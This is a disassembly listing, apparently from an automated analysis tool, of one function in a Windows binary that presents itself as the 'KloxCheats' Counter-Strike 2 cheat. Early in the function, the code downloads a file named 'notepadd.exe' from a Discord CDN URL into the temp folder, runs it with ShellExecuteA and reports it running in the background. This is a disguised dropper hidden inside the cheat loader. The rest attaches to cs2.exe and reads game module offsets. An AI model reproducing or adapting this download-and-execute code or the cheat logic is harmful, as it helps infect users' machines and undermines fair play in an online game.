Function at 0x14003eb90
Capabilities:
Create process on windows
Download url
Execute command
Get common file path
Hide graphical window
Receive data
Set console window title

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push r13
push r14
push r15
sub rsp, 0x5c0
mov rax, qword [0x1400c2040]
xor rax, rsp
mov qword [rsp + 0x5b0], rax
xor r12d, r12d
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
mov edx, 1
call qword [sym.imp.USER32.dll_ShowWindow]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov ecx, eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x350], xmm0
movups xmmword [rsp + 0x360], xmm0
movups xmmword [rsp + 0x370], xmm0
mov dword [rsp + 0x380], eax
mov ebx, r12d
lea rdi, str.0123456789qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x82082083
imul r8d
add edx, r8d
sar edx, 5
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x3f
sub r8d, ecx
movsxd rax, r8d
movzx ecx, word [rdi + rax*2]
add word [rsp + rbx*2 + 0x350], cx
inc rbx
cmp rbx, 0x19
jne 0x14003ec18
lea rcx, [rsp + 0x350]
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
xor edx, edx
mov r8d, 0x110
lea rcx, [rsp + 0x23c]
call sub.VCRUNTIME140.dll_memset
mov dword [rsp + 0x230], 0x11c
mov dword [rsp + 0x234], 6
mov dword [rsp + 0x238], 1
mov r8b, 3
mov edx, 2
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VerSetConditionMask]
mov r8b, 3
mov edx, 1
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VerSetConditionMask]
mov r8, rax
mov edx, 3
lea rcx, [rsp + 0x230]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
test eax, eax
je 0x14003ecff
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetDC]
mov rdi, rax
mov edx, 0x74
mov rcx, rax
call qword [sym.imp.GDI32.dll_GetDeviceCaps]
mov ebx, eax
mov rdx, rdi
xor ecx, ecx
call qword [sym.imp.USER32.dll_ReleaseDC]
mov dword [0x1400c2240], ebx
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rbx, rax
mov edx, 0xd
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.___________________________________________________________n______________________________________________________________________________________________n__________________________________________________________________________________________n_________________________________________________________________________________________n_______________________________________________________________________________________n___________________________________________________________________________________n___________________________________________________________________________________n___________________________________________________________________________________n_________________________________________________________________________________n______________________________________________________________________________________________n______________________________________________________________________________________________n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140038360
lea rdx, [0x14003fe60]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x14003fe60]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x14003fe60]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [rsp + 0x4a0]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
test eax, eax
je 0x14003fca7
xorps xmm0, xmm0
movups xmmword [rsp + 0x1f0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x200], xmm1
lea rax, [rsp + 0x4a0]
mov rdi, 0xffffffffffffffff
mov r8, rdi
inc r8
cmp byte [rax + r8], r12b
jne 0x14003eda2
lea rdx, [rsp + 0x4a0]
lea rcx, [rsp + 0x1f0]
call fcn.140008db0
nop
mov r8d, 0xc
lea rdx, str.notepadd.exe
lea rcx, [rsp + 0x1f0]
call fcn.140008180
xorps xmm0, xmm0
movups xmmword [rsp + 0x1d0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x1e0], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x1d0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x1e0], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x208]
cmp rdx, 0xf
jbe 0x14003ee5e
inc rdx
mov rcx, qword [rsp + 0x1f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003ee59
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003ee59
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14009e06c
movdqa xmm0, xmmword [0x1400b0ab0]
movdqu xmmword [rsp + 0x200], xmm0
mov byte [rsp + 0x1f0], 0
lea r8, [rsp + 0x1d0]
cmp qword [rsp + 0x1e8], 0xf
cmova r8, qword [rsp + 0x1d0]
mov qword [rsp + 0x20], r12
xor r9d, r9d
lea rdx, str.https:__cdn.discordapp.com_attachments_1186827406028320861_1274311301731979264_notepadd.exe_ex66c3c4a1is66c27321hmf6685a63da915ea6a23da16dfe69ccda7becfb64666d5948097f36857c735842
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov rcx, rbx
test eax, eax
js 0x14003ef3e
mov edx, 2
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str._INFO__Application_downloaded_successfully._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140038360
lea r8, [rsp + 0x1d0]
cmp qword [rsp + 0x1e8], 0xf
cmova r8, qword [rsp + 0x1d0]
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
xor r9d, r9d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov rcx, rbx
cmp eax, 0x20
jg 0x14003ef1e
mov edx, 4
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str._ERROR__Failed_to_execute_the_application.
jmp 0x14003ef50
mov edx, 2
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str._INFO__Application_is_running_in_the_background._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140038360
jmp 0x14003ef6c
mov edx, 4
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str._ERROR__Failed_to_download_the_application.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140038360
lea rdx, [0x14003fe60]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor sil, sil
mov qword [rsp + 0x58], r12
mov qword [rsp + 0x60], 7
mov qword [rsp + 0x68], 0xf
mov rax, qword [str.cs2.exe]
mov dword [rsp + 0x50], eax
movzx eax, word [0x1400ad5e4]
mov word [rsp + 0x54], ax
movzx eax, byte [0x1400ad5e6]
mov byte [rsp + 0x56], al
mov byte [rsp + 0x57], 0
lea rdx, [rsp + 0x50]
call fcn.14003e1a0
test eax, eax
jne 0x14003f001
test sil, sil
jne 0x14003eff4
mov edx, 0xe
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str._INFO__Waiting_for_CS2.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140038360
lea rdx, [0x14003fe60]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov sil, 1
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
jmp 0x14003ef74
test sil, sil
je 0x14003f042
mov edx, 0xe
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str._INFO__Connecting_to_CS2.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140038360
lea rdx, [0x14003fe60]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x4e20
call qword [sym.imp.KERNEL32.dll_Sleep]
mov qword [rsp + 0x1b8], r12
mov qword [rsp + 0x1c0], 7
mov qword [rsp + 0x1c8], 0xf
mov rax, qword [str.cs2.exe]
mov dword [rsp + 0x1b0], eax
movzx eax, word [0x1400ad5e4]
mov word [rsp + 0x1b4], ax
movzx eax, byte [0x1400ad5e6]
mov byte [rsp + 0x1b6], al
mov byte [rsp + 0x1b7], 0
lea rdx, [rsp + 0x1b0]
lea rcx, [0x14012df90]
call fcn.14003dd40
sub eax, 1
je 0x14003fc70
sub eax, 1
je 0x14003fe14
cmp eax, 1
je 0x14003fddd
call fcn.14003e560
test eax, eax
je 0x14003f0db
sub eax, 1
je 0x14003f25b
cmp eax, 1
je 0x14003f119
mov edx, 4
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str._ERROR__Failed_to_get_the_current_game_version.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140038360
lea rdx, [0x14003fe60]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, str.pause
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rsp + 0x190], xmm0
mov qword [rsp + 0x1a0], 0xa
mov qword [rsp + 0x1a8], 0xf
movsd xmm0, qword [str.client.dll]
movsd qword [rsp + 0x190], xmm0
movzx eax, word [0x1400ad4a8]
mov word [rsp + 0x198], ax
mov byte [rsp + 0x19a], 0
lea rdx, [rsp + 0x190]
lea rcx, [0x14012df90]
call fcn.14003db50
mov qword [0x14012dfe8], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x190], xmm0
mov qword [rsp + 0x1a0], 0xa
mov qword [rsp + 0x1a8], 0xf
movsd xmm0, qword [str.server.dll]
movsd qword [rsp + 0x190], xmm0
movzx eax, word [0x1400ad4b8]
mov word [rsp + 0x198], ax
mov byte [rsp + 0x19a], 0
lea rdx, [rsp + 0x190]
lea rcx, [0x14012df90]
call fcn.14003db50
mov qword [0x14012dfe0], rax
mov rdx, qword [0x14012dfe8]
lea rcx, [rdx + 0x1969668]
mov qword [0x14012dff0], rcx
lea rcx, [rdx + 0x19cb4d0]
mov qword [0x14012dff8], rcx
lea rcx, [rdx + 0x19da928]
mov qword [0x14012e000], rcx
lea rcx, [rdx + 0x19b91a8]
mov qword [0x14012e010], rcx
lea rcx, [rdx + 0x17d47e0]
mov qword [0x14012e018], rcx
add rax, 0x17d47e0
mov qword [0x14012e020], rax
lea rax, [rdx + 0x17c8708]
mov qword [0x14012e028], rax
mov rcx, rbx
test rdx, rdx
je 0x14003fcde
jmp 0x14003f275
mov edx, 0xe
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str._Info__This_version_of_the_cheat_was_made_for_a_later_version_of_the_game_and_may_work_unstable_on_the_current_version.
jmp 0x14003f0f0
mov edx, 0xb
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str._Game__Process_ID:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140038360
mov edx, dword [0x14012dfa0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x14003fe60]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str._Game__Client_Address:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140038360
mov rdx, qword [0x14012dfe8]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_long_unsigned___int64_____ptr64]
lea rdx, [0x14003fe60]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rax, [rsp + 0x390]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 5
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
jne 0x14003fd12
lea rax, [rsp + 0x390]
mov r8, rdi
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14003f320
lea rdx, [rsp + 0x390]
lea rsi, [0x14012c558]
mov rcx, rsi
call fcn.140037e20
lea rax, [rsp + 0x390]
nop dword [rax]
inc rdi
cmp byte [rax + rdi], 0
jne 0x14003f350
mov r8, rdi
lea rdx, [rsp + 0x390]
lea rdi, [0x14012c538]
mov rcx, rdi
call fcn.140037e20
mov r8d, 0xb
lea rdx, str.KloxCheats
mov rcx, rsi
call fcn.140008180
mov rcx, qword [0x14012c548]
movabs r14, 0x7fffffffffffffff
mov rax, r14
sub rax, rcx
cmp rax, 0x14
jb 0x14003fd49
mov r9, rdi
cmp qword [0x14012c550], 0xf
cmova r9, qword [0x14012c538]
mov qword [rsp + 0x30], 0x14
lea r13, str.Adobe_Software_Data
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], rcx
lea rcx, [rsp + 0x350]
call fcn.1400096f0
nop
lea rax, [rsp + 0x350]
cmp qword [rsp + 0x368], 0xf
cmova rax, qword [rsp + 0x350]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x360]
mov qword [rsp + 0x58], rax
call fcn.14009d118
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm0
lea r8, [rsp + 0x50]
mov edx, eax
lea rcx, [rsp + 0x190]
call fcn.140003c80
nop
mov dword [rsp + 0x50], r12d
lea rax, [0x1400c2100]
mov qword [rsp + 0x58], rax
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x190]
call fcn.140005220
movzx r15d, al
cmp dword [rsp + 0x50], 0
jne 0x14003fd4f
mov rdx, qword [rsp + 0x1a8]
cmp rdx, 7
jbe 0x14003f4b2
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x190]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003f4ad
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003f4ad
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14009e06c
movdqa xmm0, xmmword [0x1400b0a90]
movdqu xmmword [rsp + 0x1a0], xmm0
mov word [rsp + 0x190], r12w
mov rdx, qword [rsp + 0x368]
cmp rdx, 0xf
jbe 0x14003f512
inc rdx
mov rcx, qword [rsp + 0x350]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003f50d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003f50d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14009e06c
test r15b, r15b
je 0x14003f750
mov rax, rsi
cmp qword [0x14012c570], 0xf
cmova rax, qword [0x14012c558]
mov qword [rsp + 0x50], rax
mov rax, qword [0x14012c568]
mov qword [rsp + 0x58], rax
call fcn.14009d118
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm0
lea r8, [rsp + 0x50]
mov edx, eax
lea rcx, [rsp + 0x350]
call fcn.140003c80
nop
mov rcx, qword [0x14012c548]
mov rax, r14
sub rax, rcx
cmp rax, 0x14
jb 0x14003fd62
cmp qword [0x14012c550], 0xf
cmova rdi, qword [0x14012c538]
mov qword [rsp + 0x30], 0x14
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], rcx
mov r9, rdi
lea rcx, [rsp + 0x190]
call fcn.1400096f0
nop
lea rax, [rsp + 0x190]
cmp qword [rsp + 0x1a8], 0xf
cmova rax, qword [rsp + 0x190]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x1a0]
mov qword [rsp + 0x58], rax
call fcn.14009d118
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm0
lea r8, [rsp + 0x50]
mov edx, eax
lea rcx, [rsp + 0x1b0]
call fcn.140003c80
nop
lea rdx, [rsp + 0x350]
cmp qword [rsp + 0x368], 7
cmova rdx, qword [rsp + 0x350]
lea rcx, [rsp + 0x1b0]
cmp qword [rsp + 0x1c8], 7
cmova rcx, qword [rsp + 0x1b0]
call fcn.14009da44
test eax, eax
jne 0x14003fd68
mov rdx, qword [rsp + 0x1c8]
cmp rdx, 7
jbe 0x14003f68c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x1b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003f687
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003f687
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14009e06c
movdqa xmm0, xmmword [0x1400b0a90]
movdqu xmmword [rsp + 0x1c0], xmm0
mov word [rsp + 0x1b0], r12w
mov rdx, qword [rsp + 0x1a8]
cmp rdx, 0xf
jbe 0x14003f6ec
inc rdx
mov rcx, qword [rsp + 0x190]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003f6e7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003f6e7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14009e06c
movdqa xmm0, xmmword [0x1400b0ab0]
movdqu xmmword [rsp + 0x1a0], xmm0
mov byte [rsp + 0x190], 0
mov rdx, qword [rsp + 0x368]
cmp rdx, 7
jbe 0x14003f750
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x350]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003f74b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003f74b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14009e06c
mov rax, rsi
cmp qword [0x14012c570], 0xf
cmova rax, qword [0x14012c558]
mov qword [rsp + 0x50], rax
mov rax, qword [0x14012c568]
mov qword [rsp + 0x58], rax
call fcn.14009d118
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm0
lea r8, [rsp + 0x50]
mov edx, eax
lea rcx, [rsp + 0x350]
call fcn.140003c80
nop
mov dword [rsp + 0x50], r12d
lea rax, [0x1400c2100]
mov qword [rsp + 0x58], rax
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x350]
call fcn.140005220
movzx edi, al
cmp dword [rsp + 0x50], 0
jne 0x14003fd80
mov rdx, qword [rsp + 0x368]
cmp rdx, 7
jbe 0x14003f815
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x350]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003f810
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003f810
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14009e06c
test dil, dil
je 0x14003f826
lea rdx, str._Info__Config_folder_connected:
jmp 0x14003f8f8
mov rax, rsi
cmp qword [0x14012c570], 0xf
cmova rax, qword [0x14012c558]
mov qword [rsp + 0x50], rax
mov rax, qword [0x14012c568]
mov qword [rsp + 0x58], rax
call fcn.14009d118
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm0
lea r8, [rsp + 0x50]
mov edx, eax
lea rcx, [rsp + 0x350]
call fcn.140003c80
nop
lea rcx, [rsp + 0x350]
cmp qword [rsp + 0x368], 7
cmova rcx, qword [rsp + 0x350]
call fcn.14009d378
mov rdi, rax
shr rax, 0x20
test eax, eax
jne 0x14003fd93
mov rdx, qword [rsp + 0x368]
cmp rdx, 7
jbe 0x14003f8e8
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x350]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003f8e3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003f8e3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14009e06c
test dil, dil
je 0x14003fdb4
lea rdx, str._Info__Config_folder_created:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140038360
mov rdx, rsi
cmp qword [0x14012c570], 0xf
mov r8, qword [0x14012c568]
cmova rdx, qword [0x14012c558]
mov rcx, rax
call fcn.140020f40
lea rdx, [0x14003fe60]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rax, qword [0x14012c568]
sub r14, rax
cmp r14, 0xc
jb 0x14003fdae
cmp qword [0x14012c570], 0xf
cmova rsi, qword [0x14012c558]
mov qword [rsp + 0x30], 0xc
lea rcx, str.default.cfg
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rax
mov r9, rsi
lea rcx, [rsp + 0x1b0]
call fcn.1400096f0
nop
lea rdx, [rsp + 0x1b0]
lea rcx, [rsp + 0x80]
call fcn.140015850
nop
mov rdx, qword [rsp + 0x1c8]
cmp rdx, 0xf
jbe 0x14003f9e1
inc rdx
mov rcx, qword [rsp + 0x1b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003f9dc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003f9dc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14009e06c
movdqa xmm0, xmmword [0x1400b0ab0]
movdqu xmmword [rsp + 0x1c0], xmm0
mov byte [rsp + 0x1b0], 0
cmp qword [rsp + 0x110], 0
je 0x14003fa43
mov byte [0x14012dcb3], 1
lea rcx, [rsp + 0x90]
call fcn.140018140
test rax, rax
jne 0x14003fa43
mov rax, qword [rsp + 0x80]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x80]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
mov edx, 2
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.KloxCheats_loaded__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140038360
lea rdx, [0x14003fe60]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
nop
lea rax, [rsp + 0x1f0]
mov qword [rsp + 0x40], rax
lea rax, vtable.std::_Func_impl_no_alloc_void____cdecl___void___void___.0
mov qword [rsp + 0x1f0], rax
lea rax, [0x1400345c0]
mov qword [rsp + 0x1f8], rax
lea rax, [rsp + 0x1f0]
mov qword [rsp + 0x228], rax
lea rax, [rsp + 0x190]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x198], r12
mov qword [rsp + 0x1a0], 7
mov qword [rsp + 0x1a8], 0xf
mov rax, qword [str.SDL_app]
mov dword [rsp + 0x190], eax
movzx eax, word [0x1400adf2c]
mov word [rsp + 0x194], ax
movzx eax, byte [0x1400adf2e]
mov byte [rsp + 0x196], al
mov byte [rsp + 0x197], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x350], xmm0
mov qword [rsp + 0x360], r12
mov qword [rsp + 0x368], r12
mov ecx, 0x20
call fcn.14009dd20
mov qword [rsp + 0x350], rax
mov qword [rsp + 0x360], 0x10
mov qword [rsp + 0x368], 0x1f
movups xmm0, xmmword [str.Counter_Strike_2]
movups xmmword [rax], xmm0
mov byte [rax + 0x10], 0
lea r9, [rsp + 0x1f0]
lea r8, [rsp + 0x190]
lea rdx, [rsp + 0x350]
call fcn.14009c060
nop
mov rax, qword [rsp + 0x80]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x80], rax
mov rax, qword [rsp + 0x80]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0x7c], edx
lea rcx, [rsp + 0x90]
call fcn.140016520
lea rcx, [rsp + 0x98]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rsp + 0x130]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rsp + 0x1e8]
cmp rdx, 0xf
jbe 0x14003fc3e
inc rdx
mov rcx, qword [rsp + 0x1d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003fc39
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003fc39
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14009e06c
mov rcx, qword [rsp + 0x5b0]
xor rcx, rsp
call fcn.14009dbe0
lea r11, [rsp + 0x5c0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
